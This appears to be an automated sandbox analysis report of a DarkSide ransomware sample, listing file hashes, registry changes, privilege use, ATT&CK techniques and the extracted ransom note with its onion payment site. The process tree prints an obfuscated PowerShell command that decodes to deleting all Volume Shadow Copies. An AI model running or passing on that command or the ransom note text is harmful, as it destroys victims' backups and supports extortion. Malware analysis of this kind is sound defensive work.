darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
27-01-2024 19:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Size

59KB
MD5

5ff75d33080bb97a8e6b54875c221777
SHA1

810d6c70a96584486867cedde111a1087ed1ebe7
SHA256

6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff
SHA512

a6b87ddcaa797a4d8abc06a786a7186fe43eef5e3291402f81b95a180b7fb746f88cd0f408a089deb5321ecf0d2ac3cca479fdc1f782771749df0ac5a082ac00
SSDEEP

768:9jjV7Iax7F3DS4/S9QCuUSbVtdNcxGV1ylMRY23W5:vx7Fu4/irrUDTV1ylMqZ5

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.398da5ec.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/45NAQ3FNBX002JPHBAIKB97JVVABJQHTM2HO7XOZRXTEH98CRPXYX09X7VUH0F0W When you open our website, put the following data in the input form: Key: aB8lE86K6bt2yphn16ULYEWUkQgiDkVDBHvQuveSHbkkccXcFdx82fYYL2wEuCLtUlSIpghfBnR1iHFog7qrxDKEfU1MQE8uiUe0CjmMqYp429q5QWYrTRUEJV1UevaixL9cMAeVhTiFRe0PHhthK2V8MfjrySgetDXg40JSiHOZHOstlUnOpJpS6CGn9r9P96kf7j5EFu5dIymVAOfFOxkPx8iG9JDaEHm3hEkCGnII4XNwLbykXoVctE8r6OzBrnKNcLvkQTDMwFQh29kecXcnNniHRXVYNDy2SY49GY58TBuNA6MtaqHht98G9qRjFNAYKdEDX5G6IimaqgNF3QCsOiDko91l70T6rcrVpWNrSdGw4p9tnOyIXUfrUVZFeYManOWT8aqu0qTi2C69L8w1RzezAczWJiwIrt3zfkTLqHKotNih0ebqTia8uUcsHbn6u0z2v3LFDyasrZdNvlKq1rmZmljdEDt0jakl9ygQwOEnd8T7gyygbMUwiF7Nhj8UlGP9o1h2L94qObqhQZGKJFH8DuPbQnf9OczD9cyX0uJTJT5iuiu !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/45NAQ3FNBX002JPHBAIKB97JVVABJQHTM2HO7XOZRXTEH98CRPXYX09X7VUH0F0W

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (205) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\398da5ec.BMP"	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\398da5ec.BMP"	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\WallpaperStyle = "10"	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe

Modifies registry class 5 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\398da5ec\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\398da5ec.ico"	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.398da5ec	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.398da5ec\ = "398da5ec"	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\398da5ec\DefaultIcon	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\398da5ec	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2640	powershell.exe
1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeSecurityPrivilege	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeTakeOwnershipPrivilege	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeLoadDriverPrivilege	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeSystemProfilePrivilege	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeSystemtimePrivilege	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeProfSingleProcessPrivilege	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeIncBasePriorityPrivilege	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeCreatePagefilePrivilege	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeBackupPrivilege	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeRestorePrivilege	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeShutdownPrivilege	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeDebugPrivilege	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeSystemEnvironmentPrivilege	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeRemoteShutdownPrivilege	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeUndockPrivilege	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeManageVolumePrivilege	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: 33	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: 34	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: 35	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeBackupPrivilege	2960	vssvc.exe
Token: SeRestorePrivilege	2960	vssvc.exe
Token: SeAuditPrivilege	2960	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1472 wrote to memory of 2640	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe	29
PID 1472 wrote to memory of 2640	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe	29
PID 1472 wrote to memory of 2640	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe	29
PID 1472 wrote to memory of 2640	1472	6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe	29

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
"C:\Users\Admin\AppData\Local\Temp\6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe"
1⤵
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2640

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar61B5.tmp

Filesize
89KB

MD5
056257f0d885252128315b1bf8cf4681

SHA1
958ffce5e2b43e4c17d8f0aa8d51a46703779a1e

SHA256
56b124e74fe7d53038c488108fefe4f6f7981684d49755bac713b86e460072b6

SHA512
003e9f3a6a120a4d10773ceef56390d25ff1fee60e12bd0ec0ee766ff687217881f6882e840f5f3a7e74ad1c003f9e7375c7223e9b30757af68be9b713192907

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
fbd1d7b15ebf8c9ae736fc2d688fcf6d

SHA1
8fd14d5daca45baa6ab5d4b38ec6583084f16e76

SHA256
27e13dc78b8994f255444b60f714162fb5ebcd8ace86a42ceea7abec8dd01baa

SHA512
5fbf7750e624db4432c734df04dcd955b938d1ed7f74d8b78c3913dfe2929dd4b9b6e165fc6775efc6d676dfc5fa9fd4948a865a0984f28c2f14da2f42906878

Download Submit
C:\Users\Admin\README.398da5ec.TXT

Filesize
1KB

MD5
29adbb559c7cf5a71f3217726f04577f

SHA1
4efb812b9e9f341b4272d4beb6c716e79be5fd91

SHA256
725a61a2c9301d08ef5510f12410d1ab34b3fa474194b1c45be06d4443248dcd

SHA512
1d807ddbf3b93954911b4b9489280ac138d2aa9717339d051d5f117cbc35e59b1ef6aa2daab7bbec6867a95168668d659709fc50e92c5cb8a6db20912c8120d4

Download Submit
memory/2640-20-0x0000000002BF0000-0x0000000002C70000-memory.dmp

Filesize
512KB

Download
memory/2640-24-0x0000000002BF0000-0x0000000002C70000-memory.dmp

Filesize
512KB

Download
memory/2640-22-0x0000000002BF0000-0x0000000002C70000-memory.dmp

Filesize
512KB

Download
memory/2640-21-0x000007FEF43F0000-0x000007FEF4D8D000-memory.dmp

Filesize
9.6MB

Download
memory/2640-25-0x000007FEF43F0000-0x000007FEF4D8D000-memory.dmp

Filesize
9.6MB

Download
memory/2640-23-0x0000000002BF0000-0x0000000002C70000-memory.dmp

Filesize
512KB

Download
memory/2640-17-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2640-18-0x000007FEF43F0000-0x000007FEF4D8D000-memory.dmp

Filesize
9.6MB

Download
memory/2640-19-0x00000000028E0000-0x00000000028E8000-memory.dmp

Filesize
32KB

Download